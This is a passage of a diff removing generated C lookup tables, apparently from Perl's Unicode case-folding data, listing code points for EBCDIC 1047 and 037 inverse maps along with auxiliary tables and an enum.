0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xFB05, - 0xFB06, - 0xFB07, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - IVCF_0 = 0, - IVCF_use_AUX_TABLE_1 = -1, - IVCF_use_AUX_TABLE_2 = -2, - IVCF_use_AUX_TABLE_3 = -3, - IVCF_use_AUX_TABLE_4 = -4, - IVCF_use_AUX_TABLE_5 = -5, - IVCF_use_AUX_TABLE_6 = -6, - IVCF_use_AUX_TABLE_7 = -7, - IVCF_use_AUX_TABLE_8 = -8, - IVCF_use_AUX_TABLE_9 = -9, - IVCF_use_AUX_TABLE_10 = -10, - IVCF_use_AUX_TABLE_11 = -11, - IVCF_use_AUX_TABLE_12 = -12, - IVCF_use_AUX_TABLE_13 = -13, - IVCF_use_AUX_TABLE_14 = -14, - IVCF_use_AUX_TABLE_15 = -15, - IVCF_use_AUX_TABLE_16 = -16, - IVCF_use_AUX_TABLE_17 = -17, - IVCF_use_AUX_TABLE_18 = -18, - IVCF_use_AUX_TABLE_19 = -19, - IVCF_use_AUX_TABLE_20 = -20, - IVCF_use_AUX_TABLE_21 = -21, - IVCF_use_AUX_TABLE_22 = -22, - IVCF_use_AUX_TABLE_23 = -23, - IVCF_use_AUX_TABLE_24 = -24, - IVCF_use_AUX_TABLE_25 = -25, - IVCF_use_AUX_TABLE_26 = -26, - IVCF_use_AUX_TABLE_27 = -27 -} IVCF_enum; - -#define HAS_IVCF_AUX_TABLES - -static const unsigned int IVCF_AUX_TABLE_1[] = { - 0x67, - 0x212B -}; - -static const unsigned int IVCF_AUX_TABLE_2[] = { - 0xD2, - 0x212A -}; - -static const unsigned int IVCF_AUX_TABLE_3[] = { - 0xE2, - 0x17F -}; - -static const unsigned int IVCF_AUX_TABLE_4[] = { - 0x1C4, - 0x1C5 -}; - -static const unsigned int IVCF_AUX_TABLE_5[] = { - 0x1C7, - 0x1C8 -}; - -static const unsigned int IVCF_AUX_TABLE_6[] = { - 0x1CA, - 0x1CB -}; - -static const unsigned int IVCF_AUX_TABLE_7[] = { - 0x1F1, - 0x1F2 -}; - -static const unsigned int IVCF_AUX_TABLE_8[] = { - 0x392, - 0x3D0 -}; - -static const unsigned int IVCF_AUX_TABLE_9[] = { - 0x395, - 0x3F5 -}; - -static const unsigned int IVCF_AUX_TABLE_10[] = { - 0x398, - 0x3D1, - 0x3F4 -}; - -static const unsigned int IVCF_AUX_TABLE_11[] = { - 0x345, - 0x399, - 0x1FBE -}; - -static const unsigned int IVCF_AUX_TABLE_12[] = { - 0x39A, - 0x3F0 -}; - -static const unsigned int IVCF_AUX_TABLE_13[] = { - 0xB5, - 0x39C -}; - -static const unsigned int IVCF_AUX_TABLE_14[] = { - 0x3A0, - 0x3D6 -}; - -static const unsigned int IVCF_AUX_TABLE_15[] = { - 0x3A1, - 0x3F1 -}; - -static const unsigned int IVCF_AUX_TABLE_16[] = { - 0x3A3, - 0x3C2 -}; - -static const unsigned int IVCF_AUX_TABLE_17[] = { - 0x3A6, - 0x3D5 -}; - -static const unsigned int IVCF_AUX_TABLE_18[] = { - 0x3A9, - 0x2126 -}; - -static const unsigned int IVCF_AUX_TABLE_19[] = { - 0x412, - 0x1C80 -}; - -static const unsigned int IVCF_AUX_TABLE_20[] = { - 0x414, - 0x1C81 -}; - -static const unsigned int IVCF_AUX_TABLE_21[] = { - 0x41E, - 0x1C82 -}; - -static const unsigned int IVCF_AUX_TABLE_22[] = { - 0x421, - 0x1C83 -}; - -static const unsigned int IVCF_AUX_TABLE_23[] = { - 0x422, - 0x1C84, - 0x1C85 -}; - -static const unsigned int IVCF_AUX_TABLE_24[] = { - 0x42A, - 0x1C86 -}; - -static const unsigned int IVCF_AUX_TABLE_25[] = { - 0x462, - 0x1C87 -}; - -static const unsigned int IVCF_AUX_TABLE_26[] = { - 0x1E60, - 0x1E9B -}; - -static const unsigned int IVCF_AUX_TABLE_27[] = { - 0x1C88, - 0xA64A -}; - -static const unsigned int * const IVCF_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - IVCF_AUX_TABLE_1, - IVCF_AUX_TABLE_2, - IVCF_AUX_TABLE_3, - IVCF_AUX_TABLE_4, - IVCF_AUX_TABLE_5, - IVCF_AUX_TABLE_6, - IVCF_AUX_TABLE_7, - IVCF_AUX_TABLE_8, - IVCF_AUX_TABLE_9, - IVCF_AUX_TABLE_10, - IVCF_AUX_TABLE_11, - IVCF_AUX_TABLE_12, - IVCF_AUX_TABLE_13, - IVCF_AUX_TABLE_14, - IVCF_AUX_TABLE_15, - IVCF_AUX_TABLE_16, - IVCF_AUX_TABLE_17, - IVCF_AUX_TABLE_18, - IVCF_AUX_TABLE_19, - IVCF_AUX_TABLE_20, - IVCF_AUX_TABLE_21, - IVCF_AUX_TABLE_22, - IVCF_AUX_TABLE_23, - IVCF_AUX_TABLE_24, - IVCF_AUX_TABLE_25, - IVCF_AUX_TABLE_26, - IVCF_AUX_TABLE_27 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 IVCF_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* IVCF_AUX_TABLE_1 */, - 2 /* IVCF_AUX_TABLE_2 */, - 2 /* IVCF_AUX_TABLE_3 */, - 2 /* IVCF_AUX_TABLE_4 */, - 2 /* IVCF_AUX_TABLE_5 */, - 2 /* IVCF_AUX_TABLE_6 */, - 2 /* IVCF_AUX_TABLE_7 */, - 2 /* IVCF_AUX_TABLE_8 */, - 2 /* IVCF_AUX_TABLE_9 */, - 3 /* IVCF_AUX_TABLE_10 */, - 3 /* IVCF_AUX_TABLE_11 */, - 2 /* IVCF_AUX_TABLE_12 */, - 2 /* IVCF_AUX_TABLE_13 */, - 2 /* IVCF_AUX_TABLE_14 */, - 2 /* IVCF_AUX_TABLE_15 */, - 2 /* IVCF_AUX_TABLE_16 */, - 2 /* IVCF_AUX_TABLE_17 */, - 2 /* IVCF_AUX_TABLE_18 */, - 2 /* IVCF_AUX_TABLE_19 */, - 2 /* IVCF_AUX_TABLE_20 */, - 2 /* IVCF_AUX_TABLE_21 */, - 2 /* IVCF_AUX_TABLE_22 */, - 3 /* IVCF_AUX_TABLE_23 */, - 2 /* IVCF_AUX_TABLE_24 */, - 2 /* IVCF_AUX_TABLE_25 */, - 2 /* IVCF_AUX_TABLE_26 */, - 2 /* IVCF_AUX_TABLE_27 */ -}; - -static const int _Perl_IVCF_invmap[] = { /* for EBCDIC 1047 */ - 0, - 0xC0, - IVCF_use_AUX_TABLE_1, - 0xC6, - 0, - 0xC6, - 0x1E9E, - 0, - 0xD8, - 0, - 0x41, - 0, - 0xC6, - 0xD8, - 0, - 0x41, - IVCF_use_AUX_TABLE_2, - 0x4C, - 0, - 0xC6, - 0, - IVCF_use_AUX_TABLE_3, - 0x54, - 0, - 0xC6, - 0, - 0xD8, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - IVCF_use_AUX_TABLE_4, - 0, - IVCF_use_AUX_TABLE_5, - 0, - IVCF_use_AUX_TABLE_6, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - 0, - IVCF_use_AUX_TABLE_7, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - 0x1FD3, - 0, - 0x386, - 0x388, - 0x1FE3, - 0x391, - IVCF_use_AUX_TABLE_8, - 0x393, - IVCF_use_AUX_TABLE_9, - 0x396, - IVCF_use_AUX_TABLE_10, - IVCF_use_AUX_TABLE_11, - IVCF_use_AUX_TABLE_12, - 0x39B, - IVCF_use_AUX_TABLE_13, - 0x39D, - IVCF_use_AUX_TABLE_14, - IVCF_use_AUX_TABLE_15, - 0, - IVCF_use_AUX_TABLE_16, - 0x3A4, - IVCF_use_AUX_TABLE_17, - 0x3A7, - IVCF_use_AUX_TABLE_18, - 0x3AA, - 0x38C, - 0x38E, - 0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0, - 0x3F9, - 0x37F, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - IVCF_use_AUX_TABLE_19, - 0x413, - IVCF_use_AUX_TABLE_20, - 0x415, - IVCF_use_AUX_TABLE_21, - 0x41F, - IVCF_use_AUX_TABLE_22, - IVCF_use_AUX_TABLE_23, - 0x423, - IVCF_use_AUX_TABLE_24, - 0x42B, - 0x400, - 0, - 0x460, - 0, - IVCF_use_AUX_TABLE_25, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - 0, - 0xAB70, - 0x13F8, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - IVCF_use_AUX_TABLE_26, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - 0, - 0xDF, - 0, - 0x1EA0, - 0, - 0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - 0x1F59, - 0, - 0x1F5B, - 0, - 0x1F5D, - 0, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - 0x1F88, - 0x1F80, - 0x1F98, - 0x1F90, - 0x1FA8, - 0x1FA0, - 0x1FB8, - 0, - 0x1FBC, - 0, - 0x1FB3, - 0, - 0x1FCC, - 0, - 0x1FC3, - 0, - 0x1FD8, - 0, - 0x390, - 0, - 0x1FE8, - 0, - 0x3B0, - 0, - 0x1FEC, - 0, - 0x1FFC, - 0, - 0x1FF3, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - IVCF_use_AUX_TABLE_27, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0xFB06, - 0xFB05, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_IVCF_invlist[] = { /* for EBCDIC 037 */ - 1303, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x47, - 0x48, - 0x4A, - 0x51, - 0x59, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8D, - 0x8F, - 0x91, - 0x92, - 0x93, - 0x9A, - 0x9C, - 0x9D, - 0xA2, - 0xA3, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xDF, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3B2, - 0x3B3, - 0x3B5, - 0x3B6, - 0x3B8, - 0x3B9, - 0x3BA, - 0x3BB, - 0x3BC, - 0x3BD, - 0x3C0, - 0x3C1, - 0x3C2, - 0x3C3, - 0x3C4, - 0x3C6, - 0x3C7, - 0x3C9, - 0x3CA, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 